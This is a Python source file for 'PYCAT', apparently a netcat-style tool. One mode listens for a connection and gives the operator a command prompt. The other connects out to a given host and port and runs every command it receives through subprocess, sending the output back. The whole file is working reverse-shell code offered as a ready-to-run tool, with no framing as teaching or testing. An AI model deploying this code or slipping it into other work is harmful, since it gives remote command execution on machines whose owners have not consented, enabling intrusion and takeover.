main.py

import os
import sys
import random
import socket
import platform
import subprocess

os.system('')

arg = sys.argv
BUFFER_SIZE = 1024 * 128
SEPARATOR = "<sep>"

if "-r" in arg:
    arg.remove("-r")

    if len(arg) <= 1:
        print("[\033[31mERRUER\033[0m] Syntax error\n$ python main.py -r <HOST>:<PORT>\n")
    else:
        SERVER_HOST = arg[1].split(':')[0]
        SERVER_PORT = int(arg[1].split(':')[1])
        BANNER = random.choice(open("D:/Bureau/pycat/banner.txt", "r", encoding="utf8").read().split("<banner-separator>\n"))

        def banner_comman(cwd, user=os.getlogin(), OS=platform.system()) -> str:
            return f"\n\033[1m\033[96m┌──(\033[1m\033[94m{user}@{OS}\033[1m\033[96m)-[\033[0m\033[1m{cwd}\033[96m]\n\033[1m\033[96m└─\033[1m\033[94m$\033[0m "

        print(BANNER)
        print("[\033[34mINFO\033[0m] PYCAT by Game K")
        s = socket.socket()
        s.bind((SERVER_HOST, SERVER_PORT))
        s.listen(5)
        print(f"[\033[33mWAIT\033[0m] Listening as {SERVER_HOST}:{SERVER_PORT}")
        client_socket, client_address = s.accept()
        print(f"[\033[32m OK \033[0m] {client_address[0]}:{client_address[1]} Connected")
        PID = client_socket.recv(BUFFER_SIZE).decode()
        client_socket.send("1".encode("utf-8"))
        cwd = client_socket.recv(BUFFER_SIZE).decode()

        while True:
            try:
                command = input(banner_comman(cwd))
                if not command.strip():
                    continue
                client_socket.send(command.encode("utf-8"))
                if command.lower() == "exit":
                    break
                output = client_socket.recv(BUFFER_SIZE).decode("utf8")
                results, cwd = output.split(SEPARATOR)
                print(results)
            except Exception as e:
                print(f"[-] (SERVER) Error shell: {e}")

elif "-c" in arg:
    arg.remove("-c")

    if len(arg) <= 1:
        print("[\033[31mERRUER\033[0m] Syntax error\n$ python main.py -c <HOST>:<PORT>\n")
    else:
        SERVER_HOST = arg[1].split(':')[0]
        SERVER_PORT = int(arg[1].split(':')[1])
        PID = str(os.getpid())

        s = socket.socket()
        s.connect((SERVER_HOST, SERVER_PORT))
        s.send(PID.encode())
        while s.recv(BUFFER_SIZE).decode() != "1": pass
        cwd = os.getcwd()
        s.send(cwd.encode())

        while True:
            try:
                command = s.recv(BUFFER_SIZE).decode()
                splited_command = command.split()
                if command.lower() == "exit":
                    break
                if splited_command[0].lower() == "cd":
                    try:
                        os.chdir(' '.join(splited_command[1:]))
                    except FileNotFoundError as e:
                        output = str(e)
                    else:
                        output = ""
                else:
                    output = subprocess.getoutput(command)
                cwd = os.getcwd()
                message = f"{output}{SEPARATOR}{cwd}"
                s.send(message.encode())
            except Exception as e:
                s.send(f"[-] (CLIENT) Error shell: {e}{SEPARATOR}{cwd}".encode())
        s.close()

else:
    print("[\033[31mERRUER\033[0m] Syntax error\n$ python main.py [-r|-c] <HOST>:<PORT>\n")